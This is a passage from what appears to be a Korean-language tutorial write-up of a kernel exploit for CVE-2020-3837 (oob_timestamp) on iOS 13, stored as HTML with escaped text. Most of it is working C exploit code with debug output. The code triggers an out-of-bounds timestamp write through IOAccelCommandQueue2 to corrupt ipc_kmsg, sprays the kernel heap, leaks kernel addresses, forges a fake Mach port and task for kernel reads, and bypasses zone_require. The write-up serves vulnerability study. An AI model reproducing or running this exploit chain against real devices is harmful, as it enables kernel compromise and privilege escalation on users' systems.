\ub2e8\uc870\uc801\uc73c\ub85c \uc99d\uac00\ud558\ub294(\uc784\uc758\uc758 \uc2dc\uc810\uc5d0\uc11c \uc2dc\uc791\ud558\ub294) \uc2dc\uacc4\uc758 \ud604\uc7ac \uac12\uc744 \ubc18\ud658\ud55c\ub2e4. (\uc2dc\uc2a4\ud15c\uc774 \uc808\uc804(\uc2ac\ub9bd) \uc0c1\ud0dc\uc77c \ub3d9\uc548\uc5d0\ub294 \uc99d\uac00\ud558\uc9c0 \uc54a\uc74c)<\/li>\n<li>\uc6b0\ub9ac\ub294 \uc801\uc5b4\ub3c4 ool ports \uc601\uc5ed\uae4c\uc9c0\ub294 free\uc2dc\ucf1c\uc57c \ud558\ubbc0\ub85c,\n\ubcf4\ud1b5 kfree_buffer \uc77c\ubd80 \uc601\uc5ed\uae4c\uc9c0 free\uc2dc\ucf1c\uc57c \ub428.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">int overflow_n_bytes(uint32_t buffer_size, int n, struct IOAccelDeviceShmemData *cmdbuf, struct IOAccelDeviceShmemData *seglist) {\n    if (n &gt; 8 || n &lt; 0) {\n        printf(&quot;[-] Can't overflow: 0 &lt;= n &lt;= 8\\n&quot;);\n        return -1;\n    }\n    \n    submit_args.header.count = 1;\n    submit_args.command.command_buffer_shmem_id = cmdbuf-&gt;shmem_id;\n    submit_args.command.segment_list_shmem_id = seglist-&gt;shmem_id;\n\n    struct IOAccelSegmentListHeader *slh = seglist-&gt;data;\n    slh-&gt;length = 0x100;\n    slh-&gt;segment_count = 1;\n    \n    struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);\n    srlh-&gt;kernel_commands_start_offset = 0;\n    srlh-&gt;kernel_commands_end_offset = buffer_size;\n    \n    \/\/ this is just a filler for the first buffer_size - n bytes, timestamp written in off_timestamp = 8\n    struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = cmdbuf-&gt;data;\n    cmd1-&gt;command.type = 2;\n    cmd1-&gt;command.size = (uint32_t)buffer_size - 16 + n;\n       \n    \/\/ put command 2 after command 1, so now timestamp written in cmd1-&gt;command.size + off_timestamp (8) = buffer_size - 8 + n &lt;= n bytes written OOB!\n    struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1-&gt;command.size);\n    cmd2-&gt;command.type = 2;\n    cmd2-&gt;command.size = 8;\n    \n    return IOAccelCommandQueue2_submit_command_buffers(&amp;submit_args.header, sizeof(submit_args));\n}\n\n...\n\nsize_t minimum_corrupted_size = 3 * (8 * pagesize) - 0x58; \/\/ 0x5ffa8 on 16K and 0x17fa8 on 4K\n    \nretry:;\n    int overflow_size = 0;\n    uint64_t ts = mach_absolute_time();\n    if (minimum_corrupted_size &lt; ts &amp;&amp; ts &lt;= ((minimum_corrupted_size &lt;&lt; 8) | 0xff)) {\n        overflow_size = 8;\n    }\n    else if (((minimum_corrupted_size &lt;&lt; 8) | 0xff) &lt; ts &amp;&amp; ts &lt;= ((minimum_corrupted_size &lt;&lt; 16) | 0xffff)) {\n        overflow_size = 7;\n    }\n    else if (((minimum_corrupted_size &lt;&lt; 16) | 0xffff) &lt; ts &amp;&amp; ts &lt;= ((minimum_corrupted_size &lt;&lt; 24) | 0xffffff)) {\n        overflow_size = 6;\n    }\n    else if (((minimum_corrupted_size &lt;&lt; 24) | 0xffffff) &lt; ts &amp;&amp; ts &lt;= ((minimum_corrupted_size &lt;&lt; 32) | 0xffffffff)) {\n        overflow_size = 5;\n    }\n    else if (((minimum_corrupted_size &lt;&lt; 32) | 0xffffffff) &lt; ts &amp;&amp; ts &lt;= ((minimum_corrupted_size &lt;&lt; 36) | 0xffffffffff)) {\n        overflow_size = 4;\n    }\n    else if (((minimum_corrupted_size &lt;&lt; 36) | 0xffffffffff) &lt; ts &amp;&amp; ts &lt;= ((minimum_corrupted_size &lt;&lt; 40) | 0xffffffffffff)) {\n        overflow_size = 3;\n    }\n    \n    uint32_t ipc_kmsg_size = (uint32_t) (ts &gt;&gt; (8 * (8 - overflow_size)));\n    if (ipc_kmsg_size &lt; (minimum_corrupted_size + 1) || ipc_kmsg_size &gt; 0x0400a8ff) {\n        printf(&quot;[-] Probably won't work with this timestamp, retrying...\\n&quot;);\n        usleep(100);\n        goto retry;\n    }\n    INFO(&quot;ts for corrupting ipc_kmsg's ikm_size = 0x%llx\\n&quot;, ts);\n\n#if ENABLE_HELPER\n    uint32_t ikm_size_orig = kread32(ipc_kmsg_addr);\n    INFO(&quot;Original ipc_kmsg's ikm_size: 0x%x\\n&quot;, ikm_size_orig);\n#endif\n    \n    printf(&quot;[*] Triggering bug with %d bytes\\n&quot;, overflow_size);\n    overflow_n_bytes(96 MB, overflow_size, &amp;cmdbuf, &amp;seglist);\n    printf(&quot;[*] Corruption worked?\\n&quot;);\n\n#if ENABLE_HELPER\n    uint32_t ikm_size_corrupted = kread32(ipc_kmsg_addr);\n    INFO(&quot;Corrupted ipc_kmsg's ikm_size: 0x%x\\n&quot;, ikm_size_corrupted);\n    \n    mach_port_destroy(mach_task_self(), corrupted_kmsg_port);\n    printf(&quot;[*] Freed kmsg\\n&quot;);\n\n    INFO(&quot;spinning here...\\n&quot;); \n    getchar();\n#endif\n<\/code><\/pre>\n<ul>\n<li>\uacb0\uacfc\ub97c \uc0b4\ud3b4\ubcf4\uba74, <code>ipc_kmsg<\/code>\uc758 \uc6d0\ub798 <code>ikm_size<\/code> \uac12\uc740 0x1ffa8 (0x20000 &#8211; 0x58 = 0x1ffa8)\uc600\uc73c\ub098, <code>ikm_size<\/code> \uac12\uc774 <code>mach_time_absolute<\/code> \ud0c0\uc784\uc2a4\ud0ec\ud504 \uac12\uc73c\ub85c \ub36e\ud600 \uc190\uc0c1\ub428.<\/li>\n<li>\ub36e\uc5b4\uc9c8 \uc218 \uc788\ub294 <code>ikm_size<\/code> \uac12\uc740 \ub9e4 \uc0c1\ud669\ub9c8\ub2e4 \ub2e4\ub984.<\/li>\n<li>\uc5ec\uae30\uc11c\ub294 <code>ikm_size<\/code> \uac12\uc774 0x6e2835\ub85c \ub36e\uc5b4\uc9d0\n\u2192 \ub530\ub77c\uc11c <code>ipc_kmsg<\/code> free\uc2dc\uc5d0 0x6e288d (0x6e2835 + 0x58 = 0x6e288d) \ud06c\uae30\ub9cc\ud07c \ud560\ub2f9\ud574\uc81c\ub428.<\/li>\n<li>\ucd5c\uc885\uc801\uc73c\ub85c, <code>ipc_kmsg<\/code>, <code>spray_buffer<\/code>, <code>ool ports<\/code>\ub4e4\uc774 free\ub420\ubfd0\ub9cc \uc544\ub2c8\ub77c,\n\uc2a4\ud504\ub808\uc774\ub41c OSArray \ud0c0\uc785\uc778 8\ud398\uc774\uc9c0 \ud06c\uae30\ub85c \uad6c\uc131\ub41c \uc5ec\ub7ec <code>kfree_buffer<\/code>\ub4e4 \uc911 \uc77c\ubd80\uac00 free\ub428.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">=================== Overall Info ===================\nseglist =                   0xffffffe0cfba4000\ncmdbuf =                    0xffffffe0d5ba4000\nipc_kmsg =                  0xffffffe0dbba4000\nipc_kmsg2(FREED) =          0xffffffe0dbbc4000\n[*] spray_buffer =          0xffffffe0dbbc4000\noolports =                  0xffffffe0dbbe4000\nkfree_buffer =              0xffffffe0dbc04000\n====================================================\n\n[*] ts for corrupting ipc_kmsg's ikm_size = 0x6e282fa2\n[*] Original ipc_kmsg's ikm_size: 0x1ffa8\n[*] Triggering bug with 7 bytes\n[*] Corruption worked?\n[*] Corrupted ipc_kmsg's ikm_size: 0x6e2835\n[*] Freed kmsg\n[*] spinning here...\n<\/code><\/pre>\n<p>\ud604\uc7ac \uc0c9\uce60\ub41c \ubd80\ubd84\uc774 \ubaa8\ub450 \ud560\ub2f9\ud574\uc81c\ub41c \uc601\uc5ed\uc774\ub77c\uace0 \ubcfc \uc218 \uc788\uc74c.<\/p>\n<p>\uc5ec\ub7ec <code>kfree_buffer<\/code>\ub4e4 \uc911 \uc77c\ubd80\uac00 free\ub428.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2011.png\" alt=\"image.png\"><\/p>\n<h2>11. \ud560\ub2f9\ud574\uc81c\ub41c \uc601\uc5ed\uc5d0 ipc_kmsg\ub97c 1024\ubc88 \uc2a4\ud504\ub808\uc774\ud558\uae30<\/h2>\n<ul>\n<li>\uc774\uc804\uc5d0 \ud560\ub2f9\uc2dc\ud0a4\uace0 \ud574\uc81c\uc2dc\ud0a8 <code>ipc_kmsg<\/code>, <code>spray_buffer<\/code>, <code>ool ports<\/code> \ub4f1 3\uacf3\uc774 \ucc28\uc9c0\ud558\ub294 \ud06c\uae30\uac00 \uc804\ubd80 8\ud398\uc774\uc9c0 \uc815\ub3c4 \uc600\uc74c.<\/li>\n<li>8\ud398\uc774\uc9c0 \ud06c\uae30\uc5d0 \ub2ec\ud558\ub294 <code>ipc_kmsg<\/code>\ub97c 1024\ubc88 \uc2a4\ud504\ub808\uc774\ud568.<\/li>\n<li>\uadf8\ub7ec\uba74, \ud560\ub2f9\ud574\uc81c\ub41c 3\uacf3\uc5d0 <code>ipc_kmsg<\/code>\ub4e4\uc774 \ubc30\uce58\ud558\uac8c\ub428.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {\n    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;\n    struct simple_msg *msg = malloc(msg_size);\n    \n    memset(msg, 0, sizeof(struct simple_msg));\n    \n    msg-&gt;hdr.msgh_remote_port = destination;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = msg_size;\n    \n    memcpy(&amp;msg-&gt;buf[0], buffer, size);\n    \n    kern_return_t ret = mach_msg(&amp;msg-&gt;hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if (ret) {\n        printf(&quot;[-] failed to send message\\n&quot;);\n        mach_port_destroy(mach_task_self(), destination);\n        free(msg);\n        return ret;\n    }\n    free(msg);\n    return KERN_SUCCESS;\n}\n\n...\n\nmach_port_t message_leaking_port = POP_PORT();\n    \n    for (int i = 0; i &lt; 1024; i++) {\n        ret = send_message(message_leaking_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));\n        if (ret) {\n            printf(&quot;[-] Failed to send message\\n&quot;);\n            goto err;\n        }\n    }\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2012.png\" alt=\"image.png\"><\/p>\n<h2>12. IOSurface_get_value\ub85c \ucee4\ub110 \uacf5\uac04\uc758 ipc_kmsg \uad6c\uc870\uccb4 \ub204\ucd9c\uc2dc\ud0a4\uae30<\/h2>\n<ul>\n<li>\ud560\ub2f9\ud574\uc81c\ub41c <code>spray_buffer<\/code> \uacf5\uac04\uc740 11\ubc88\uc5d0 \uacfc\uc815\uc5d0 \uc758\ud574 \uc2a4\ud504\ub808\uc774\ub41c <code>ipc_kmsg<\/code> \ub370\uc774\ud130\ub85c \ucc28\uc9c0\ub428.<\/li>\n<li>\ub530\ub77c\uc11c <code>IOSurface_get_value<\/code> API\ub85c \ucee4\ub110 \uacf5\uac04\uc5d0 \uc788\ub294 <code>ipc_kmsg<\/code> \uad6c\uc870\uccb4 \ub370\uc774\ud130\ub97c \ub204\ucd9c\uc2dc\ud0ac \uc218 \uc788\uc74c.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    free(data);\n    data = NULL;\n    \n    uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);\n    struct IOSurfaceValueArgs *in = malloc(argsSz);\n    bzero(in, argsSz);\n    in-&gt;surface_id = IOSurface_id;\n    in-&gt;xml[0] = spray_buffer_key;\n    in-&gt;xml[1] = 0;\n    \n    \/\/ this buffer is now an ipc_kmsg struct, read it back\n    size_t out_size = 82 MB; \/\/ make it bigger than actual; that works for both cases\n    ret = IOSurface_get_value(in, 16, spray_buffer, &amp;out_size);\n    if (ret) {\n        printf(&quot;[-] Failed to read back value\\n&quot;);\n        goto err;\n    }\n    \n    free(in);\n<\/code><\/pre>\n<ul>\n<li>82MB \ud06c\uae30\uc758 \ubc29\ub300\ud55c \ub370\uc774\ud130 \uc601\uc5ed\uc911\uc5d0\uc11c\n<code>ipc_kmsg<\/code> \uad6c\uc870\uccb4\uc758 <code>ikm_size<\/code> \uac12\uc5d0 \ub300\ud574 <code>memmem<\/code> \ud568\uc218\ub97c \ud1b5\ud574 \ucc3e\uc74c.<\/li>\n<li>\uc2a4\ud504\ub808\uc774\ud588\ub358 <code>ipc_kmsg<\/code> \ud06c\uae30\ub294 8\ud398\uc774\uc9c0\uc774\uba70, \ud574\ub2f9 \ud06c\uae30\uc5d0\uc11c 0x58\ube80 \uac12\uc774 \ubc14\ub85c <code>ikm_size<\/code>\uc784.<\/li>\n<li>\ucc3e\uc73c\uba74 \uadf8\uacf3\ubd80\ud130\uac00 <code>struct ipc_kmsg<\/code> \uad6c\uc870\uccb4\uc758 \uccab \ud544\ub4dc\uc5d0 \uc18d\ud568.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">uint32_t ikm_size = 8 * (uint32_t)pagesize - 0x58;\n    void *ipc_kmsg = memmem(spray_buffer, out_size, &amp;ikm_size, sizeof(ikm_size));\n    if (!ipc_kmsg) {\n        printf(&quot;[-] Failed to leak ipc_kmsg\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<h2>13. \uc720\ucd9c\ub41c ikm_header \uc8fc\uc18c\uac12\uc73c\ub85c 96MB\uc758 segment list \uc8fc\uc18c \uc54c\uc544\ub0b4\uae30<\/h2>\n<ul>\n<li><code>ikm_header<\/code> \uc8fc\uc18c\ub294 <code>ipc_kmsg<\/code> \uc8fc\uc18c\ub85c\ubd80\ud130 +0x8000+0x28\ub9cc\ud07c \ub5a8\uc5b4\uc838\uc788\uc74c.<\/li>\n<li>\ub530\ub77c\uc11c <code>ipc_kmsg<\/code> \uc8fc\uc18c\ub294 \uc720\ucd9c\ub41c <code>ikm_header<\/code> \uc8fc\uc18c\uac12\uc5d0\uc11c -0x8000-0x28\uacfc \uac19\uc774 \ube7c\uba74 \uad6c\ud560 \uc218 \uc788\uc74c.<\/li>\n<li>\ucd94\uac00\ub85c \uc6b0\ub9ac\uac00 \ud560\ub2f9\ud588\ub358 <code>seglist<\/code>\uc640 <code>cmdbuf<\/code> \uc601\uc5ed\uc758 \ud06c\uae30\uac00 \uac01\uac01 96MB, <code>ipc_kmsg<\/code> \ud06c\uae30\uac00 8\ud398\uc774\uc9c0, <code>ipc_kmsg ~ ikm_header<\/code> \uac04\uc758 \ub5a8\uc5b4\uc9c4 \uc8fc\uc18c \ucc28\uc774\uac12\uc744 \uc804\ubd80 \ub2e4 \uad6c\ud55c \ub2e4\uc74c,\n\uc804\ubd80 \ub2e4 \ud574\ub2f9\uac12\ub4e4\uc744 <code>ikm_header<\/code> \uc8fc\uc18c\uc5d0\uc11c \ube7c\uc8fc\uba74, <code>seglist<\/code> \uc8fc\uc18c\ub97c \uacc4\uc0b0\ud560 \uc218 \uc788\uc74c.<\/li>\n<li>\ucd94\ud6c4 kernel read\ub97c \ud558\uae30 \uc704\ud574 fake port \/ fake task\ub97c \ub2e4\uc74c\uacfc \uac19\uc774 \uc124\uc815\ud568.\n<ul>\n<li><code>fake_port_addr = cmdbuf addr + 0x100<\/code><\/li>\n<li><code>fake_task_addr = cmdbuf addr + kernel page size(=0x4000)<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">\/\/ ikm_header = beginning of struct + something, we can use this to calculate the address of the shared memory buffer\n    uint64_t ikm_header = *(uint64_t*)(ipc_kmsg + 24);\n    uint64_t segment_list_addr = ikm_header - 96 MB - 96 MB - 8 * pagesize - 2 * pagesize - 0x28;\n    \n    printf(&quot;[+] ikm_header leak: 0x%llx\\n&quot;, ikm_header);\n    printf(&quot;[+] Segment list calculated to be at: 0x%llx\\n&quot;, segment_list_addr);\n    \n    uint64_t fake_port_page_addr = segment_list_addr + 96 MB; \/\/ = addr of command buffer\n    uint64_t fake_port_addr = fake_port_page_addr + 0x100;\n    \n    uint64_t fake_task_page_addr = segment_list_addr + pagesize + 96 MB; \/\/ = addr of command buffer + pagesize\n    uint64_t fake_task_addr = fake_task_page_addr + 0x100;\n<\/code><\/pre>\n<p>\uc2e4\uc81c\ub85c, 11\ubc88 \uacfc\uc815\uc5d0\uc11c \uc2a4\ud504\ub808\uc774\ud55c\uacf3 \uc911 \ud558\ub098\uc778 <code>ipc_kmsg<\/code> \uc8fc\uc18c\ub97c \uc9c1\uc811 \uc0b4\ud3b4\ubcf4\uba74,\n<code>ikm_header<\/code> \uc8fc\uc18c\ub294 \ud56d\uc0c1 <code>ipc_kmsg<\/code> \uc8fc\uc18c\uc5d0\uc11c <code>+0x8000+0x28<\/code> \ub9cc\ud07c \ub5a8\uc5b4\uc838\uc788\uc74c.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2013.png\" alt=\"image.png\"><\/p>\n<h2>14. 1024\ubc88 \uc2a4\ud504\ub808\uc774\ud588\ub358 ipc_kmsg \ud560\ub2f9\ud574\uc81c<\/h2>\n<pre><code class=\"language-cpp\">mach_port_destroy(mach_task_self(), message_leaking_port);\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2014.png\" alt=\"image.png\"><\/p>\n<h2>15. fake port \uc8fc\uc18c\ub4e4\ub85c \ucc44\uc6cc\uc9c4 8\ud398\uc774\uc9c0 \ud06c\uae30\ub85c \uad6c\uc131\ub41c IOSurface data\ub97c 1000\ubc88 \uc2a4\ud504\ub808\uc774\ud558\uae30<\/h2>\n<ul>\n<li>\uc774\uc81c 3\uacf3\uc5d0\ub294 fake port addr\ub85c \ucc44\uc6cc\uc9c4 \ubc84\ud37c\ub4e4\ub85c \ucc28\uc9c0\ub41c\ub2e4.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    data = malloc(8 * pagesize);\n    for (int i = 0; i &lt; 8 * pagesize \/ 8; i++) {\n        ((uint64_t*)data)[i] = fake_port_addr;\n    }\n    \n    uint32_t ool_ports_realloc_key = transpose(property_index++);\n    ret = IOSurface_kmem_alloc_spray(data, 8 * pagesize, 1000, ool_ports_realloc_key);\n    if (ret) {\n        printf(&quot;[-] Failed to spray\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2015.png\" alt=\"image.png\"><\/p>\n<h2>16. \ucee4\ub9e8\ub4dc \ubc84\ud37c\uc758 \ubaa8\ub4e0 \ud398\uc774\uc9c0\uc5d0 \ub300\ud574 page fault \ubc1c\uc0dd\uc2dc\ud0a4\uae30 (bazad\u2019s fix for a kernel data abort)<\/h2>\n<p>\uc544\ub798 \ucf54\ub4dc\uc640 \uac19\uc774 \ucee4\ub110 \ud658\uacbd\uc5d0\uc11c \ucee4\ub9e8\ub4dc \ubc84\ud37c\uc5d0 \uc811\uadfc\ud560 \uc218 \uc788\ub3c4\ub85d, \ucee4\ub9e8\ub4dc \ubc84\ud37c\uc758 \ubaa8\ub4e0 \ud398\uc774\uc9c0\uc5d0 \ub300\ud574 page fault\ub97c \ubc1c\uc0dd\uc2dc\ud0a8\ub2e4.<\/p>\n<p>oob_timestamp \uc6d0\uc800\uc791\uc790 \ubd84\uc758 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc \uc8fc\uc11d\uc744 \ucc38\uace0\ud558\uba74,\n\uadf8\ub807\uac8c \ud558\ub294 \uc774\uc720\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4\uace0 \ud55c\ub2e4.<\/p>\n<blockquote>\n<p>\uccab \uc811\uadfc \uc2dc \uc120\uc810(preemption)\uc774 \ube44\ud65c\uc131\ud654\ub41c \uc0c1\ud0dc\uc5d0\uc11c \ub77d\uc744 \uc2dc\ub3c4\ud558\uae30 \ub54c\ubb38\uc5d0 vm_fault()\uac00 \uc911\ub2e8\ub418\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4.<br>\n\uba54\ubaa8\ub9ac\ub97c \ubbf8\ub9ac \uace0\uc815(wiring)\ud55c\ub2e4\uace0 \ud574\ub3c4 \ucee4\ub110\uc5d0\uc11c \ud398\uc774\uc9c0\uc5d0 \uc811\uadfc\ud560 \ub54c\n\ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\ub294\ub2e4\ub294 \ubcf4\uc7a5\uc740 \uc5c6\uc2b5\ub2c8\ub2e4.<\/p>\n<\/blockquote>\n<pre><code class=\"language-cpp\">int make_buffer_readable_by_kernel(void *buffer, uint64_t n_pages) {\n    for (int i = 0; i &lt; n_pages * pagesize; i += pagesize) {\n        struct IOAccelKernelCommand_CollectTimeStamp *ts_cmd = (struct IOAccelKernelCommand_CollectTimeStamp *)(((uint8_t *)buffer) + i);\n        bool end = i == (n_pages * pagesize - pagesize);\n        ts_cmd-&gt;command.type = 2;\n        ts_cmd-&gt;command.size = pagesize - (end ? sizeof(struct IOAccelKernelCommand_CollectTimeStamp) : 0);\n        \n        \/\/ we have to write something because... memory stuff\n        *(((uint8_t *)buffer) + i) = 0;\n    }\n    return IOAccelCommandQueue2_submit_command_buffers(&amp;submit_args.header, sizeof(submit_args));\n}\n\n\/\/ bazad's fix for a kernel data abort\n    make_buffer_readable_by_kernel(cmdbuf.data, 2);\n    memset(cmdbuf.data, 0, 2 * pagesize);\n<\/code><\/pre>\n<h2>17-1. kernel read\ub97c \uc704\ud574 fake port \/ fake task \uc14b\uc5c5\ud558\uae30<\/h2>\n<ul>\n<li>\ucee4\ub110\uacfc \uc720\uc800\uacf5\uac04\uc744 \uacf5\uc720\ud558\ub294 \uba54\ubaa8\ub9ac\uc778 \ucee4\ub9e8\ub4dc \ubc84\ud37c\ub97c \uc774\uc6a9\ud558\uc5ec fake port\uc640 fake task\ub97c \uc124\uc815\ud55c\ub2e4.<\/li>\n<li>\ucee4\ub9e8\ub4dc\ubc84\ud37c\uc758 \uccab \ud398\uc774\uc9c0 + 0x100 \uc9c0\uc810\uc5d0\ub294 fake port,\n\ucee4\ub9e8\ub4dc\ubc84\ud37c\uc758 2\ubc88\uca30 \ud398\uc774\uc9c0 + 0x100 \uc9c0\uc810\uc5d0\ub294 fake task \ub0b4\uc6a9\uc744 \ucc44\uc6b4\ub2e4.<\/li>\n<li><code>zone_require<\/code> bypass\ub97c \uc704\ud574 \uc911\uac04\uc5d0 \uac01 \uc874\uc758 \uc720\ud6a8\ud55c zindex \uac12\uc744 \ub123\ub294\ub2e4.\n17-2 \uacfc\uc815\uc744 \ud1b5\ud574 \ub354 \uc790\uc138\ud788 \uc54c\uc544\ubcf4\uc790.<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">\/\/ setup fake port &amp; fake task\n    kport_t *fake_port = cmdbuf.data + 0x100;\n    ktask_t *fake_task = cmdbuf.data + pagesize + 0x100;\n        \n    uint8_t *fake_port_page = cmdbuf.data;\n    uint8_t *fake_task_page = cmdbuf.data + pagesize;\n\n    \/\/ zone_require bypass\n    \/\/ 0x16 = .zindex\n    \/\/ 42 = .ipc_ports_zindex; zindex of the &quot;ipc_ports&quot; zone\n    \/\/ 58 = .tasks_zindex; zindex of the &quot;tasks&quot; zone\n    *(uint16_t *)(fake_port_page + 0x16) = 42;\n#if __arm64e__\n    *(fake_task_page + 0x16) = 57;\n#else\n    *(uint16_t *) (fake_task_page + 0x16) = 58;\n#endif\n        \n    fake_port-&gt;ip_bits = IO_BITS_ACTIVE | IKOT_TASK;\n    fake_port-&gt;ip_references = 0xd00d;\n    fake_port-&gt;ip_lock.type = 0x11;\n    fake_port-&gt;ip_messages.port.receiver_name = 1;\n    fake_port-&gt;ip_messages.port.msgcount = 0;\n    fake_port-&gt;ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;\n    fake_port-&gt;ip_messages.port.waitq.flags = mach_port_waitq_flags();\n    fake_port-&gt;ip_srights = 99;\n    fake_port-&gt;ip_kobject = fake_task_addr;\n        \n    fake_task-&gt;ref_count = 0xff;\n    fake_task-&gt;lock.data = 0x0;\n    fake_task-&gt;lock.type = 0x22;\n    fake_task-&gt;ref_count = 100;\n    fake_task-&gt;active = 1;\n<\/code><\/pre>\n<h2>17-2. zone_require \uac80\uc0ac \uc6b0\ud68c\ud558\uae30 (iOS 13.0 ~ 13.5)<\/h2>\n<blockquote>\n<p>\ucd9c\ucc98: <a href=\"https:\/\/blog.siguza.net\/tachy0n\/\">https:\/\/blog.siguza.net\/tachy0n\/<\/a><\/p>\n<\/blockquote>\n<p>\uc544\ub9c8 \uc774 \uc2dc\uc810\uc5d0\uc11c \uc8fc\ubaa9\ud560 \ub9cc\ud55c \uac83\uc740 <strong><code>zone_require<\/code><\/strong> \uc6b0\ud68c\ubfd0\uc77c \uac81\ub2c8\ub2e4. \ud558\uc9c0\ub9cc \uadf8\uac83\uc870\ucc28\ub3c4 iOS 13 \uc2dc\uc808\uc5d0 \ud65c\ub3d9\ud588\ub358 \uc0ac\ub78c\uc774\ub77c\uba74 \ub204\uad6c\ub098 \uc798 \uc54c\uace0 \uc788\ub294 \ub0b4\uc6a9\uc774\uc8e0. **<code>zone_require<\/code>**\ub294 \ub2e8\uc21c\ud788 <strong><code>zone_map<\/code><\/strong> \uc678\ubd80\uc758 \ud398\uc774\uc9c0\ub97c \ud5c8\uc6a9\ud574\ubc84\ub838\ub2e4\ub294 \uc0ac\uc2e4 \ub54c\ubb38\uc5d0 \uc644\uc804\ud788 \uae68\uc838 \uc788\uc5c8\uc2b5\ub2c8\ub2e4. \uadf8 \uacbd\uc6b0 \ud398\uc774\uc9c0\uc758 \ucc98\uc74c 0x20 \ubc14\uc774\ud2b8\ub97c \ud398\uc774\uc9c0 \uba54\ud0c0\ub370\uc774\ud130\ub85c \ucde8\uae09\ud588\uae30 \ub54c\ubb38\uc5d0, \uac70\uae30\uc5d0 \uc62c\ubc14\ub978 \uc874 \uc778\ub371\uc2a4\ub97c \ucc44\uc6cc \ub123\uae30\ub9cc \ud558\uba74 \uc6d0\ud558\ub294 \uc5b4\ub5a4 \uc874\uc5d0 \ub300\ud574\uc11c\ub4e0 \uc811\uadfc \uad8c\ud55c\uc744 \uc0c8\ub85c \ubc1c\uae09\ubc1b\uc744 \uc218 \uc788\uc5c8\uc2b5\ub2c8\ub2e4. \uc774\uac83\uc774 \ubc14\ub85c \uc6b0\ub9ac\uac00 \ub450 \uac1c\uc758 \ud398\uc774\uc9c0\uac00 \ud544\uc694\ud55c \uc774\uc720\uc774\uae30\ub3c4 \ud569\ub2c8\ub2e4. \ud558\ub098\ub294 \ud0dc\uc2a4\ud06c\uc6a9, \ub2e4\ub978 \ud558\ub098\ub294 Mach \ud3ec\ud2b8\uc6a9\uc785\ub2c8\ub2e4.<\/p>\n<blockquote><\/blockquote>\n<ul>\n<li>\uc0ac\uc9c4\uc744 \ucc38\uace0\ud558\uc790\uba74, iOS 13.5 \uc774\ud558\ubc84\uc804\uc5d0\uc11c \uc0ac\uc6a9\ub418\ub294 Bypass 1 \ud14c\ud06c\ub2c9\uc774\ub2e4.<\/li>\n<li><code>zone_map<\/code> \uc678\ubd80\uc758 \ud398\uc774\uc9c0\ub97c \ud5c8\uc6a9\ud55c\ub2e4\ub294 \uc0ac\uc2e4 \ub54c\ubb38\uc5d0 \uc6b0\ud68c\uac00 \uac00\ub2a5\ud558\ub2e4.<\/li>\n<li>\ud398\uc774\uc9c0\uc758 \ucc98\uc74c 0x20 \ubc14\uc774\ud2b8\ub97c \ud398\uc774\uc9c0 \uba54\ud0c0\ub370\uc774\ud130\ub85c \ucde8\uae09\ud558\uae30 \ub54c\ubb38\uc5d0,\n\uc62c\ubc14\ub978 \uc874 \uc778\ub371\uc2a4\ub9cc \ucc44\uc6cc\ub123\uae30\ub9cc \ud558\uba74 \uc6b0\ud68c\uac00 \uac00\ub2a5\ud558\ub2e4.<\/li>\n<li>\u201ctasks\u201d zone\uc5d0 \ud574\ub2f9\ub418\ub294 zindex, \u201cipc_ports\u201d zone\uc5d0 \ud574\ub2f9\ub418\ub294 zindex \uac12\n\uac01\uac01 2\uac1c\ub97c \uc62c\ubc14\ub978 \uc874 \uc778\ub371\uc2a4\uc5d0 \ucc44\uc6cc\ub123\uc5b4\uc57c \ud558\uae30 \ub54c\ubb38\uc5d0 2\uac1c\uc758 \ucee4\ub110 \ud398\uc774\uc9c0\uac00 \ud544\uc694\ud558\ub2e4.<\/li>\n<\/ul>\n<p>\uc0ac\uc9c4 \ucd9c\ucc98:\n<a 